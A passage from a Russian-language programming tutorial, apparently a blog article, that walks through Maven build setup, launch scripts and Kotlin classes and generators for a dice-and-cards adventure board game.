test-compile
testCompile
```
Насколько это важно, сказать не могу — проекты вполне неплохо собираются и без этой простыни. Но на всякий случай вы предупреждены.
Создадим сразу три пакета (чего мелочиться-то?):
* `model` — для классов, описывающих объекты игрового мира;
* `game` — для классов, реализующих игровой процесс;
* `ui` — для классов, отвечающих за взаимодействие с пользователем.
Последний будет содержать лишь интерфейсы, к методам которых мы будем обращаться для ввода и вывода данных. Конкретные реализации будем хранить вообще в отдельном проекте, но об этом позже. Пока же, чтобы сильно не распыляться, эти классы будем складывать здесь же, рядышком.
Не пытайтесь сразу делать идеально: продумывать до мелочей названия пакетов, интерфейсов, классов и методов; досконально прописывать взаимодействие объектов между собой — все это будет меняться, и не один десяток раз. По мере развития проекта многие вещи будут казаться вам некрасивыми, громоздкими, неэффективными и тому подобное — смело меняйте их, благо рефакторинг в современных IDE — весьма дешевая операция.
Создадим также класс c функцией `main` и мы готовы к великим свершениям. Для запуска можно использовать саму IDE, но как вы в дальнейшем убедитесь, для наших целей этот способ не подходит (стандартная консоль IDE не способна как следет отобразить наши графические изыскания), потому настроим запуск извне, про помощи batch (или shell в системах UNIX) файла. Но перед этим, сделаем кое-какие дополнительные настройки.
После выполнения операции `mvn package` мы получим на выходе JAR-архив со всеми скомилированными классами. Во-первых, по умолчанию в состав этого архива не входят зависимоти, необходимые для работы проекта (пока что их у нас нет, но в будущем обязательно появятся). Во-вторых, в файле-манифесте архива не прописан путь к главному классу, содержащему метод `main`, поэтому запустить проект командой `java -jar dice-1.0.jar` у нас не выйдет. Исправим это, добавив дополнительные настройки в `pom.xml`:
```
maven-assembly-plugin
2.6
package
single
jar-with-dependencies
my.company.dice.MainKt
```
Обратите внимание на название главного класса. Для функций Kotlin, содержащихся вне классов (как, например, функции `main`) при компиляции все равно создаются классы (потому как JVM ничего другого не знает и знать не желает). В качестве имени этого класса используется имя файла с добавкой `Kt`. То есть, если главный класс вы назвали `Main`, то скомпилирован он будет в файл `MainKt.class`. Именно этот последний мы и должны указывать в манифесте jar-файла.
Теперь при сборке проекта мы будем получать на выходе два jar-файла: `dice-1.0.jar` и `dice-1.0-jar-with-dependencies.jar`. Нас интересует второй. Напишем для него скрипт запуска.
**dice.bat** (для Windows)
```
@ECHO OFF
rem Compiling
call "path_to_maven\mvn.bat" -f "path_to_project\Dice\pom.xml" package
if errorlevel 1 echo Project compilation failed! & pause & goto :EOF
rem Running
java -jar path_to_project\Dice\target\dice-1.0-jar-with-dependencies.jar
pause
```
**dice.sh** (для UNIX)
```
#!/bin/sh
# Compiling
mvn -f "path_to_project/Dice/pom.xml" package
if [[ "$?" -ne 0 ]] ; then
echo 'Project compilation failed!'; exit $rc
fi
# Running
java -jar path_to_project/Dice/target/dice-1.0-jar-with-dependencies.jar
```
Обратите внимание, при неудачной компиляции мы вынуждены прервать выполнение скрипта. Иначе будет запущена не последний арфив, а файл, оставшийся от предыдущей успешной сборки (иногда мы и разницу-то не обнаружим). Часто разработчики используют команду `mvn clean package` для удаления всех скомпилированных ранее файлов, но в этом случае весь процесс компиляции всегда будет начинаться с самого начала (даже если исходный код не менялся), что займет уйму времени. А ждать мы не можем — нам игру нужно делать.
Итак, проект отлично запускается, но пока что ничего не делает. Не волнуйтесь, в скором времени мы это исправим.
Шаг шестой. Основные объекты
----------------------------
Постепенно начнем наполнять пакет `model` необходимыми для игрового процесса классами.
**Диаграмма классов**[](https://habrastorage.org/webt/lv/de/4t/lvde4t7282puwgyjgl6qrooazka.png)
Кубики — наше все, добавим их в первую очередь. Каждый кубик (экземпляр класса `Die`) характеризуется типом (цветом) и размером. Для типов кубика заведем отдельное перечисление (`Die.Type`), размер отметим целым числом от 4 до 12. Также реализуем метод `roll()`, который будет выдавать произвольное, равномерно распределенное число из доступного кубику диапазона (от 1 до значения размера включительно).
Класс реализует интерфейс `Comparable`, чтобы кубики можно было сравнивать между собой (пригодится позже, когда будем отображать несколько кубиков в упорядоченном ряду). Кубики большего размера будут располагаться раньше.
```
class Die(val type: Type, val size: Int) : Comparable {
enum class Type {
PHYSICAL, //Blue
SOMATIC, //Green
MENTAL, //Purple
VERBAL, //Yellow
DIVINE, //Cyan
WOUND, //Gray
ENEMY, //Red
VILLAIN, //Orange
OBSTACLE, //Brown
ALLY //White
}
fun roll() = (1.. size).random()
override fun toString() = "d$size"
override fun compareTo(other: Die): Int {
return compareValuesBy(this, other, Die::type, { -it.size })
}
}
```
Чтобы не пылились, кубики хранятся в сумочках (экземплярах класса `Bag`). О том, что творится внутри сумки, можно лишь догадываться, потому нет смысла использовать упорядоченную коллекцию. Вроде бы. Наборы (sets) хорошо реализуют нужную нам идею, но не подходят по двум причинам. Во-первых, при их использовании придется реализовывать методы `equals()` и `hashCode()`, причем непонятно каким образом, так как сравнивать типы и размеры кубиков неверно — в нашем наборе может храниться любое количество идентичных кубиков. Во-вторых, вытягивая кубик из сумки, мы ожидаем получить не просто что-то недетерминированное, но случайное, каждый раз разное. Потому советую все же использовать упорядоченную коллекцию (список) и перемешивать ее каждый раз при добавлении нового элемента (в методе `put()`) или непосредственно перед выдачей (в методе `draw()`).
Метод `examine()` подойдет для случаев, когда уставший от неопределенности игрок в сердцах вытряхнет содержимое сумки на стол (обратите внимание на сортировку), а метод `clear()` — если вытряхнутые кубики больше в сумку не вернутся.
```
open class Bag {
protected val dice = LinkedList()
val size
get() = dice.size
fun put(vararg dice: Die) {
dice.forEach(this.dice::addLast)
this.dice.shuffle()
}
fun draw(): Die = dice.pollFirst()
fun clear() = dice.clear()
fun examine() = dice.sorted().toList()
}
```
Помимо сумок с кубиками, нужны также кучи с кубиками (экземпляры класса `Pile`). От первых вторые отличаются тем, что их содержимое видно игрокам, а потому при необходимости достать из кучи кубик, игрок может выбрать конкретный интересующий экземпляр. Эту идею реализуем методом `removeDie()`.
```
class Pile : Bag() {
fun removeDie(die: Die) = dice.remove(die)
}
```
Теперь перейдем к нашим главным действующим лицам — героям. То бишь, персонажам, которых отныне будем называть героями (есть весомая причина не называть свой класс именем `Character` в Java). Герои бывают разных типов (сиречь классов, хотя слово `class` лучше тоже не использовать), но для нашего рабочего прототипа возьмем лишь два: *Brawler* (то есть, Fighter с упором на стойкость и силу) и *Hunter* (он же Ranger/Thief, с упором на ловкость и скрытность). Класс героя определяет его характеристики, умения и начальный набор кубиков, но как будет позже видно, строгой привязки к классам герои иметь не будут, а потому их персональные настройки можно будет с легкостью менять в одном-единственном месте.
Добавим герою необходимые свойства в соответствии с дизайн-документом: имя, любимый тип кубика, лимиты кубиков, навыки изученные и неизученные, руку, сумку и кучу для сброса. Обратите внимание на особенности реализации свойств-коллекций. Во всем цивилизованном мире считается дурным тоном предоставлять наружу доступ (при помощи getter'а) к коллекциям, хранящимся внутри объекта — недобросовестные программисты смогут без ведома класса менять содержимое этих коллекций. Один из способов борьбы с этим — реализовывать отдельные методы для добавления и удаления элементов, получения их количества и доступа по индексу. Можно и getter реализовать, но при этом возвращать не саму коллекцию, а ее неизменяемую копию — для небольшого количества элементов не особо страшно именно так и поступить.
```
data class Hero(val type: Type) {
enum class Type {
BRAWLER
HUNTER
}
var name = ""
var isAlive = true
var favoredDieType: Die.Type = Die.Type.ALLY
val hand = Hand(0)
val bag: Bag = Bag()
val discardPile: Pile = Pile()
private val diceLimits = mutableListOf()
private val skills = mutableListOf()
private val dormantSkills = mutableListOf()
fun addDiceLimit(limit: DiceLimit) = diceLimits.add(limit)
fun getDiceLimits(): List = Collections.unmodifiableList(diceLimits)
fun addSkill(skill: Skill) = skills.add(skill)
fun getSkills(): List = Collections.unmodifiableList(skills)
fun addDormantSkill(skill: Skill) = dormantSkills.add(skill)
fun getDormantSkills(): List = Collections.unmodifiableList(dormantSkills)
fun increaseDiceLimit(type: Die.Type) {
diceLimits.find { it.type == type }?.let {
when {
it.current < it.maximal -> it.current++
else -> throw IllegalArgumentException("Already at maximum")
}
} ?: throw IllegalArgumentException("Incorrect type specified")
}
fun hideDieFromHand(die: Die) {
bag.put(die)
hand.removeDie(die)
}
fun discardDieFromHand(die: Die) {
discardPile.put(die)
hand.removeDie(die)
}
fun hasSkill(type: Skill.Type) = skills.any { it.type == type }
fun improveSkill(type: Skill.Type) {
dormantSkills
.find { it.type == type }
?.let {
skills.add(it)
dormantSkills.remove(it)
}
skills
.find { it.type == type }
?.let {
when {
it.level < it.maxLevel -> it.level += 1
else -> throw IllegalStateException("Skill already maxed out")
}
} ?: throw IllegalArgumentException("Skill not found")
}
}
```
Рука героя (кубики, которыми он располагает в данный момент), описывается отдельным объектом (класс `Hand`). Дизайн-решение хранить кубики-союзники отдельно от основной руки было одним из первых, пришедших на ум. Поначалу оно казалось супер-крутой фичей, но впоследствии породило огромое количество проблем и неудобств. Тем не менее, легких путей мы не ищем, а потому списки `dice` и `allies` — к нашим услугам, со всеми нужными для добавления, получения и удаления методами (некоторые из них умно определяют, к которому из двух списков обращаться). При удалении кубика из руки все последующие кубики будут сдвигаться к началу списка, заполняя пробелы — в дальнейшем это сильно облегчит перебор (не нужно обрабатывать ситуации с `null`).
```
class Hand(var capacity: Int) {
private val dice = LinkedList()
private val allies = LinkedList()
val dieCount
get() = dice.size
val allyDieCount
get() = allies.size
fun dieAt(index: Int) = when {
(index in 0 until dieCount) -> dice[index]
else -> null
}
fun allyDieAt(index: Int) = when {
(index in 0 until allyDieCount) -> allies[index]
else -> null
}
fun addDie(die: Die) = when {
die.type == Die.Type.ALLY -> allies.addLast(die)
else -> dice.addLast(die)
}
fun removeDie(die: Die) = when {
die.type == Die.Type.ALLY -> allies.remove(die)
else -> dice.remove(die)
}
fun findDieOfType(type: Die.Type): Die? = when (type) {
Die.Type.ALLY -> if (allies.isNotEmpty()) allies.first else null
else -> dice.firstOrNull { it.type == type }
}
fun examine(): List = (dice + allies).sorted()
}
```
Коллекция объектов класса `DiceLimit` задает ограничения по количеству кубиков каждого типа, которое герой может иметь в начале сценария. Говорить тут особо нечего, определяем начально, максимальное и текущее значения для каждого типа.
```
class DiceLimit(val type: Die.Type, val initial: Int, val maximal: Int, var current: Int)
```
А вот с навыками дело обстоит интереснее. Каждый из них придется индивидуально реализовывать (о чем позже), но мы рассмотрим всего два: *Hit* и *Shoot* (по одному для каждого класса соответственно). Навыки можно развивать («прокачивать») с начального до максимального уровня, что зачастую влияет на модификаторы, которые добавляются к броскам кубиков. Отразим это в свойствах `level`, `maxLevel`, `modifier1` и `modifier2`.
```
class Skill(val type: Type) {
enum class Type {
//Brawler
HIT,
//Hunter
SHOOT,
}
var level = 1
var maxLevel = 3
var isActive = true
var modifier1 = 0
var modifier2 = 0
}
```
Обратите внимание на вспомагательные методы класса `Hero`, позволяющие спрятать или сбросить кубик из руки, проверить, обладает ли герой определенным навыком, а также повысить уровень изученного навыка или изучить новый. Все они рано или поздно понадобятся, но сейчас не станем на них подробно останавливаться.
Просьба не пугаться количеству классов, которые нам приходится создавать. Для проекта такой сложности несколько сотен — обычное дело. Тут как в любом серьезном занятии — начинаем с малого, постепенно наращиваем темпы, через месяц ужасаемся размаху. Не забывайте, мы все еще маленькая студия из одного человека — непосильных задач перед нами не стоит.
*«Чего-то мне поплохело. Пойду покурю, что ли...»*
А мы продолжим.
Героев и их способности описали, пора перейти к противоборствуюшим силам — великим и ужасным Игровым Механикам. А вернее объектам, с которыми нашим героям предстоит взаимодействовать.
**Очередная диаграмма классов**[](https://habrastorage.org/webt/bq/7k/iq/bq7kiq7fcsqbhrf61f9g1bh-9e8.png)
Противостоять нашим доблестным протагонистам будут кубики и карты трех видов: злодеи (класс `Villain`), враги (класс `Enemy`) и преграды (класс `Obstacle`), объединенные под общим термином «угрозы» (`Threat` — абстрактный «запертый» класс, список его возможных наследников строго ограничен). Каждая угроза имеет набор отличительных особенностей (`Trait`), описывающих особые правила поведения при встрече с такой угрозой и вносящие разнообразие в игровой процесс.
```
sealed class Threat {
var name: String = ""
var description: String = ""
private val traits = mutableListOf()
fun addTrait(trait: Trait) = traits.add(trait)
fun getTraits(): List = traits
}
class Obstacle(val tier: Int, vararg val dieTypes: Die.Type) : Threat()
class Villain : Threat()
class Enemy : Threat()
enum class Trait {
MODIFIER\_PLUS\_ONE, //Add +1 modifier
MODIFIER\_PLUS\_TWO, //Add +2 modifier
}
```
Обратите внимание, список объектов класса `Trait` определен как изменяемый (`MutableList`), но наружу отдается в виде неизменяемого интерфейса `List`. Хоть в Kotlin это и будет работать, подход однако небезопасный, поскольку ничего не мешает преобразовать полученный список к изменяемому интерфейсу и произвести различные модификации — особенно просто это сделать, если обращаться к классу из кода на Java (где интерфейс `List` — изменяемый). Наиболее параноидальный способ защитить свою коллекцию — сделать что-то вроде этого:
```
fun getTraits(): List = Collections.unmodifiableList(traits)
```
но мы не станем настолько скрупулезно подходить к вопросу (вы, однако, предупреждены).
Ввиду особенностей игровой механики, класс `Obstacle` отличается от своих собратьев наличием дополнительных полей, но мы не станем заострять на них внимания.
Карты угроз (а если вы внимательно читали дизайн-документ, то помните, что это карты) объединяются в колоды, представленные классом `Deck`:
```
class Deck {
private val cards = LinkedList()
val size
get() = cards.size
fun addToTop(card: E) = cards.addFirst(card)
fun addToBottom(card: E) = cards.addLast(card)
fun revealTop(): E = cards.first
fun drawFromTop(): E = cards.removeFirst()
fun shuffle() = cards.shuffle()
fun clear() = cards.clear()
fun examine() = cards.toList()
}
```
Здесь нет ничего необычного, кроме того что класс параметризованный и содержит в своем составе упорядоченный список (а вернее двухстороннюю очередь), который можно перемешивать соответствующим методом. Колоды врагов и препятствий понадобятся нам буквально через секунду, когда мы перейдем к рассмотрению…
… класса `Location`, каждый экземпляр которого описывает уникальную местность, которую в рамках сценария придется посетить нашим героям.
```
class Location {
var name: String = ""
var description: String = ""
var isOpen = true
var closingDifficulty = 0
lateinit var bag: Bag
var villain: Villain? = null
lateinit var enemies: Deck
lateinit var obstacles: Deck
private val specialRules = mutableListOf()
fun addSpecialRule(rule: SpecialRule) = specialRules.add(rule)
fun getSpecialRules() = specialRules
}
```
Каждая местность имеет название, описание, сложность закрытия и признак «открытая/закрытая». Где-то здесь может таиться злодей (а может и не таиться, ввиду чего свойство `villain` может принимать значение `null`). В каждой местности есть сумка с кубиками и колоды карт с угрозами. Также местность может обладать своими уникальными игровыми особенностями (`SpecialRule`), которые, подобно свойствам угроз, вносят разнообразие в игровой процесс. Как видите, мы закладываем базис под будущую функциональность, даже если не планируем в ближайшее время ее реализовывать (для чего, по сути, и нужен этап моделирования).
Напоследок осталось реализовать сценарии (класс `Scenario`):
```
class Scenario {
var name = ""
var description = ""
var level = 0
var initialTimer = 0
private val allySkills = mutableListOf()
private val specialRules = mutableListOf()
fun addAllySkill(skill: AllySkill) = allySkills.add(skill)
fun getAllySkills(): List = Collections.unmodifiableList(allySkills)
fun addSpecialRule(rule: SpecialRule) = specialRules.add(rule)
fun getSpecialRules(): List = Collections.unmodifiableList(specialRules)
}
```
Каждый сценарий характеризуется уровнем и начальным значением таймера. Аналогично виденному ранее задаются особые правила (`specialRules`) и навыки союзников (упустим из рассмотрения). Можно подумать, что сценарий также должен содержать список местностей (объектов класса `Location`) и по логике вещей это действительно так. Но как станет видно позже, такую связь мы нигде не будем использовать и никакого технического примущества она на дает.
Напоминаю, все рассмотренные доселе классы содержатся в пакете `model` — мы как ребенок в предвкушении эпического игрушечного сражения расставили солдатиков на поверхности стола. И вот-вот, через несколько тягостных мгновений, по сигналу главнокомандующего мы устремимся в бой, сталкивая наши игрушки между собой и наслаждаясь последствиями игрового процесса. Но перед этим — немного о самой расстановке.
*«Ну вооот...»*
Шаг седьмой. Шаблоны и генераторы
---------------------------------
Представим на секундочку, в чем будет состоять процесс генерации какого-либо из рассмотренных ранее объектов, например локации (местности). Нам необходимо создать экземпляр класса `Location`, инициализировать его поля значениями, и так для каждой местности, которую мы захотим использовать в игре. Но постойте: у каждой локации должна быть сумка, которую тоже необходимо сгенерировать. А сумках есть кубики — это тоже экземпляры соответствующего класса (`Die`). Это я еще не говорю про врагов и препятствия — их вообще нужно в колоды собрать. А злодея не сама местность определяет, но особенности сценария, расположенного на уровень выше. Ну, вы поняли. Исходный код для вышеперечисленного может иметь такой вид:
```
val location = Location().apply {
name = "Some location"
description = "Some description"
isOpen = true
closingDifficulty = 4
bag = Bag().apply {
put(Die(Die.Type.PHYSICAL, 4))
put(Die(Die.Type.SOMATIC, 4))
put(Die(Die.Type.MENTAL, 4))
put(Die(Die.Type.ENEMY, 6))
put(Die(Die.Type.OBSTACLE, 6))
put(Die(Die.Type.VILLAIN, 6))
}
villain = Villain().apply {
name = "Some villain"
description = "Some description"
addTrait(Trait.MODIFIER_PLUS_ONE)
}
enemies = Deck().apply {
addToTop(Enemy().apply {
name = "Some enemy"
description = "Some description"
})
addToTop(Enemy().apply {
name = "Other enemy"
description = "Some description"
})
shuffle()
}
obstacles = Deck().apply {
addToTop(Obstacle(1, Die.Type.PHYSICAL, Die.Type.VERBAL).apply {
name = "Some obstacle"
description = "Some Description"
})
}
}
```
Это еще спасибо языку Kotlin и конструкции `apply{}` — в Java код был бы в два раза более громоздким. Причем местностей, как мы сказали, будет много, а кроме них есть еще сценарии, приключения и герои с их навыками и характеристиками — в общем, есть, чем заняться гейм-дизайнеру.
Вот только гейм-дизайнер код писать не будет, да и нам неудобно при малейшем изменении игрового мира заново компилировать проект. Тут любой грамотный программист возразит, что описания объектов от кода классов нужно отделить — в идеале, чтобы экземпляры последних генерировались динамически на основе первых по мере необходимости, аналогично тому как на заводе по чертежу изготавливают деталь. Реализуем такие чертежи и мы, только назовем их шаблонами (templates) и представим экземплярами специального класса. Имея такие шаблоны, специальный программный код (генератор) будет создавать конечные объекты из описанной ранее модели.
**Процесс генерации объекта из шаблона**[](https://habrastorage.org/webt/lj/cn/hb/ljcnhbcwls0jogmaxfbncrek6gc.png)
Таким образом, для каждого класса наших объектов необходимо задать две новых сущности: интерфейс-шаблон и класс-генератор. А поскольку объектов поднакопилось приличное количество, то и сущностей тоже окажется количество… неприличное:
**Диаграмма классов**[](https://habrastorage.org/webt/ef/hu/4k/efhu4kgepx97_87cnpis8ranl0c.png)
Просьба дышать глубже, слушать внимательно и не отвлекаться. Во-первых, на диаграмме представлены не все объекты игрового мира, а лишь основные, без которых на первых порах не обойтись. Во вторых, дабы не перегружать схему излишними деталями, некоторые связи, уже упомянутые ранее на других диаграммах, были опущены.
Начнем с чего-нибудь простого — генерации кубиков. «Как? — скажете вы. — Разве нам мало конструктора? Да-да, вот того самого, с типом и размером». Нет, отвечу, недостаточно. Ведь во многих случаях (читайте правила) кубики необходимо генерировать произвольным образом в произвольном количестве (например: «от одного до трех кубиков либо синего, либо зеленого цвета»). Да еще размер подбирать в завимости от уровня сложности сценария. Поэтому введем специальный интерфейс `DieTypeFilter`.
```
interface DieTypeFilter {
fun test(type: Die.Type): Boolean
}
```
Различные реализации этого интерефейса будут проверять, соответствует ли тип кубика различным наборам правил (любым, какие только в голову прийдут). Например, соответствует ли тип строго заданному значению («синий») или диапазону значений («синий, желтый или зеленый»); или, наоборот, соответствует любому типу кроме заданного («лишь бы не белый ни в коем случае» — все, что угодно, только не это). Даже если заранее и непонятно, какие конкретно реализации нужны, не беда — их можно добавить позже, система от этого не сломается (полиморфизм, помните?).
```
class SingleDieTypeFilter(val type: Die.Type): DieTypeFilter {
override fun test(type: Die.Type) = (this.type == type)
}
class InvertedSingleDieTypeFilter(val type: Die.Type): DieTypeFilter {
override fun test(type: Die.Type) = (this.type != type)
}
class MultipleDieTypeFilter(vararg val types: Die.Type): DieTypeFilter {
override fun test(type: Die.Type) = (type in types)
}
class InvertedMultipleDieTypeFilter(vararg val types: Die.Type): DieTypeFilter {
override fun test(type: Die.Type) = (type !in types)
}
```
Размер кубика тоже будет задаваться произвольным образом, но об этом позже. А пока напишем генератор кубиков (`DieGenerator`), который, в отличие от конструктора класса `Die`, будет принимать не явный тип и размер кубика, а фильтр и уровень сложности.
```
private val DISTRIBUTION_LEVEL1 = intArrayOf(4, 4, 4, 4, 6, 6, 6, 6, 8)
private val DISTRIBUTION_LEVEL2 = intArrayOf(4, 6, 6, 6, 6, 8, 8, 8, 8, 10)
private val DISTRIBUTION_LEVEL3 = intArrayOf(6, 8, 8, 8, 10, 10, 10, 10, 12, 12, 12)
private val DISTRIBUTIONS = arrayOf(
intArrayOf(4),
DISTRIBUTION_LEVEL1,
DISTRIBUTION_LEVEL2,
DISTRIBUTION_LEVEL3
)
fun getMaxLevel() = DISTRIBUTIONS.size - 1
fun generateDie(filter: DieTypeFilter, level: Int) = Die(generateDieType(filter), generateDieSize(level))
private fun generateDieType(filter: DieTypeFilter): Die.Type {
var type: Die.Type
do {
type = Die.Type.values().random()
} while (!filter.test(type))
return type
}
private fun generateDieSize(level: Int) =
DISTRIBUTIONS[if (level < 1 || level > getMaxLevel()) 0 else level].random()
```
В Java эти методы были бы статическими, но поскольку мы имеем дело с Kotlin, класс, как таковой, нам не нужен, что справедливо и для прочих рассматриваемых ниже генераторов (тем не менее, на логическом уровне мы все же будем пользоваться понятием класса).
Два приватных метода генерируют отдельно тип и размер кубика — про каждый можно сказать что-то интересное. Метод `generateDieType()` можно загнать в бесконечный цикл, передав на вход фильтр с
```
override fun test(filter: DieTypeFilter) = false
```
(у сценаристов есть стойкое убеждение, что из логических нестыковок и сюжетных дыр можно выкрутиться, если сами персонажи в ходе повествования укажут на них зрителям). Метод `generateDieSize()`, производит генерацию псевдослучайного размера на основе распределения, заданного в виде массива (по одному на каждый уровень). Когда в старости я разбогатею и куплю себе пакет разноцветных игральных кубиков, я не смогу сыграть в **Dice**, потому как не буду знать способа случайным образом собрать из них сумку (кроме как попросить соседа, а самому в это время отвернуться). Это не колода карт, которую можно перетасовать рубашкой вверх, тут требуются специальные механизмы и приспособления. Если у кого-то есть идеи (и ему хватило терпения дочитать до этого места), пожалуйста, поделитесь в коментариях.
И раз уж мы заговорили о сумках, разработаем для них шаблон. В отличие от своих товарищей, этот шаблон (`BagTemplate`) будет конкретным классом. В его составе другие шаблоны — каждый из них описывает правила (или `Plan`), по которым один или несколько кубиков (помните требования, озвученные ранее?) добавляются в сумку.
```
class BagTemplate {
class Plan(val minQuantity: Int, val maxQuantity: Int, val filter: DieTypeFilter)
val plans = mutableListOf()
fun addPlan(minQuantity: Int, maxQuantity: Int, filter: DieTypeFilter) {
plans.add(Plan(minQuantity, maxQuantity, filter))
}
}
```
Каждый план задает шаблон для типа кубиков, а также количество (минимальное и максимальное) кубиков, удовлетворяющих этому шаблону. Благодаря этому подходу, можно генерировать сумки по причудливым правилам (а я снова горько плачу на старости лет, потому как мой сосед наотрез отказывается мне помогать). Как-то так:
```
private fun realizePlan(plan: BagTemplate.Plan, level: Int): Array {
val count = (plan.minQuantity..plan.maxQuantity).shuffled().last()
return (1..count).map { generateDie(plan.filter, level) }.toTypedArray()
}
fun generateBag(template: BagTemplate, level: Int): Bag {
return template.plans.asSequence()
.map { realizePlan(it, level) }
.fold(Bag()) { b, d -> b.put(\*d); b }
}
}
```
Если вы так же, как и я, устали от всей этой функциональщины, крепитесь — дальше будет только хуже. Но зато, в отличие от многих невнятных туториалов на просторах интернета, у нас есть возможность изучить использование разных хитрых методов применительно к реальной, понятной предметной области.
Сами по себе сумки на поле валяться не будут — нужно раздать их героям и локациям. Начнем с последних.
```
interface LocationTemplate {
val name: String
val description: String
val bagTemplate: BagTemplate
val basicClosingDifficulty: Int
val enemyCardsCount: Int
val obstacleCardsCount: Int
val enemyCardPool: Collection
val obstacleCardPool: Collection
val specialRules: List
}
```
В языке Kotlin вместо методов `getЧтоТо()` можно использоваить свойства интерфейсов — так гораздо лаконичнее. С шаблоном сумки мы уже знакомы, рассмотрим оставшиеся методы. Свойство `basicClosingDifficulty` будет задавать базовую сложность проверки на закрытие местности. Слово «базовую» означает здесь лишь то, что конечная сложность будет зависеть от уровня сценария и на данном этапе неясна. Кроме этого, нам нужно определить шаблоны для врагов и препятствий (и злодеев заодно). При этом из описанного в шаблоне разнообразия врагов и препятствий будут использоваться не все, а лишь ограниченное количество (для повышения реиграбельности). Обратите внимание, что специальные правила (`SpecialRule`) местности реализуются простым перечислением (`enum class`), а потому отдельного шаблона не требуют.
```
interface EnemyTemplate {
val name: String
val description: String
val traits: List
}
interface ObstacleTemplate {
val name: String
val description: String
val tier: Int
val dieTypes: Array
val traits: List
}
interface VillainTemplate {
val name: String
val description: String
val traits: List
}
```
И пусть генератор создает не только отдельные объекты, но и целые колоды с ними.
```
fun generateVillain(template: VillainTemplate) = Villain().apply {
name = template.name
description = template.description
template.traits.forEach { addTrait(it) }
}
fun generateEnemy(template: EnemyTemplate) = Enemy().apply {
name = template.name
description = template.description
template.traits.forEach { addTrait(it) }
}
fun generateObstacle(template: ObstacleTemplate) = Obstacle(template.tier, *template.dieTypes).apply {
name = template.name
description = template.description
template.traits.forEach { addTrait(it) }
}
fun generateEnemyDeck(types: Collection, limit: Int?): Deck {
val deck = types
.map { generateEnemy(it) }
.shuffled()
.fold(Deck()) { d, c -> d.addToTop(c); d }
limit?.let {
while (deck.size > it) deck.drawFromTop()
}
return deck
}
fun generateObstacleDeck(templates: Collection, limit: Int?): Deck {
val deck = templates
.map { generateObstacle(it) }
.shuffled()
.fold(Deck()) { d, c -> d.addToTop(c); d }
limit?.let {
while (deck.size > it) deck.drawFromTop()
}
return deck
}
```
Если в колоде окажется больше карт, чем нам нужно (параметр `limit`), мы их оттуда уберем. Умея генерировать сумки с кубиками и колоды карт, мы наконец-то можем и местности создавать:
```
fun generateLocation(template: LocationTemplate, level: Int) = Location().apply {
name = template.name
description = template.description
bag = generateBag(template.bagTemplate, level)
closingDifficulty = template.basicClosingDifficulty + level * 2
enemies = generateEnemyDeck(template.enemyCardPool, template.enemyCardsCount)
obstacles = generateObstacleDeck(template.obstacleCardPool, template.obstacleCardsCount)
template.specialRules.forEach { addSpecialRule(it) }
}
```
Местность, которую мы явно задавали в коде в начале главы, теперь примет совершенно другой вид:
```
class SomeLocationTemplate: LocationTemplate {
override val name = "Some location"
override val description = "Some description"
override val bagTemplate = BagTemplate().apply {
addPlan(1, 1, SingleDieTypeFilter(Die.Type.PHYSICAL))
addPlan(1, 1, SingleDieTypeFilter(Die.Type.SOMATIC))
addPlan(1, 2, SingleDieTypeFilter(Die.Type.MENTAL))
addPlan(2, 2, MultipleDieTypeFilter(Die.Type.ENEMY, Die.Type.OBSTACLE))
}
override val basicClosingDifficulty = 2
override val enemyCardsCount = 2
override val obstacleCardsCount = 1
override val enemyCardPool = listOf(
SomeEnemyTemplate(),
OtherEnemyTemplate()
)
override val obstacleCardPool = listOf(
SomeObstacleTemplate()
)
override val specialRules = emptyList()
}
class SomeEnemyTemplate: EnemyTemplate {
override val name = "Some enemy"
override val description = "Some description"
override val traits = emptyList()
}
class OtherEnemyTemplate: EnemyTemplate {
override val name = "Other enemy"
override val description = "Some description"
override val traits = emptyList()
}
class SomeObstacleTemplate: ObstacleTemplate {
override val name = "Some obstacle"
override val description = "Some description"
override val traits = emptyList()
override val tier = 1
override val dieTypes = arrayOf(
Die.Type.PHYSICAL,
Die.Type.VERBAL
)
}
val location = generateLocation(SomeLocationTemplate(), 1)
```
Генерация сценариев будет происходить аналогичным образом.
```
interface ScenarioTemplate {
val name: String
val description: String
val initialTimer: Int
val staticLocations: List
val dynamicLocationsPool: List
val villains: List
val specialRules: List
fun calculateDynamicLocationsCount(numberOfHeroes: Int) = numberOfHeroes + 2
}
```
В соответствии с правилами, количество динамически генерируемых локаций зависит от количества героев. В интерфейсе задана стандартная функция расчета, которую при желании можно переопределить в конкретных реализациях. В связи с этим требованием, генератор сценариев будет также генерировать и местности для этих сценариев — там же злодеи будут случайным образом распределены по местностям.
```
fun generateScenario(template: ScenarioTemplate, level: Int) = Scenario().apply {
name =template.name
description = template.description
this.level = level
initialTimer = template.initialTimer
template.specialRules.forEach { addSpecialRule(it) }
}
fun generateLocations(template: ScenarioTemplate, level: Int, numberOfHeroes: Int): List {
val locations = template.staticLocations.map { generateLocation(it, level) } +
template.dynamicLocationsPool
.map { generateLocation(it, level) }
.shuffled()
.take(template.calculateDynamicLocationsCount(numberOfHeroes))
val villains = template.villains
.map(::generateVillain)
.shuffled()
locations.forEachIndexed { index, location ->
if (index < villains.size) {
location.villain = villains[index]
location.bag.put(generateDie(SingleDieTypeFilter(Die.Type.VILLAIN), level))
}
}
return locations
}
```
Многие внимательные читатели возразят, что шаблоны нужно хранить не в исходном коде классов, а в каких-нибудь текстовых файлах (скриптах), чтобы создавать и поддерживать их могли даже люди, далекие от программирования. Соглашусь, снимаю шляпу, но голову пеплом не посыпаю — ибо одно другому не мешает. Если хотите, достаточно определить специальную реализацию шаблона, значения свойств которой будут загружаться из внешнего файла. Процесс генерации от этого ни на йоту не изменится.
Ну вот, кажись ничего не забыли… Ах да, герои — их ведь тоже нужно генерировать, а значит им тоже нужны свои шаблоны. Вот такие, например:
```
interface HeroTemplate {
val type: Hero.Type
val initialHandCapacity: Int
val favoredDieType: Die.Type
val initialDice: Collection
val initialSkills: List
val dormantSkills: List
fun getDiceCount(type: Die.Type): Pair?
}
```
И сразу же мы замечаем две странности. Во-первых, мы не используем шаблоны для генерации сумок и кубиков в них. Почему? Да потому что для каждого типа (класса) героев список начальных кубиков строго определен — нет смысла усложнять процесс их создания. Во-вторых, `getDiceCount()` — что это вообще за муть такая??? Успокойтесь, это те самые `DiceLimit`, задающие ограничения по кубикам. А шаблон для них выбран в столь причудливом виде, чтобы нагляднее записывались конкретные значения. Убедитесь сами из примера:
```
class BrawlerHeroTemplate : HeroTemplate {
override val type = Hero.Type.BRAWLER
override val favoredDieType = PHYSICAL
override val initialHandCapacity = 4
override val initialDice = listOf(
Die(PHYSICAL, 6),
Die(PHYSICAL, 6),
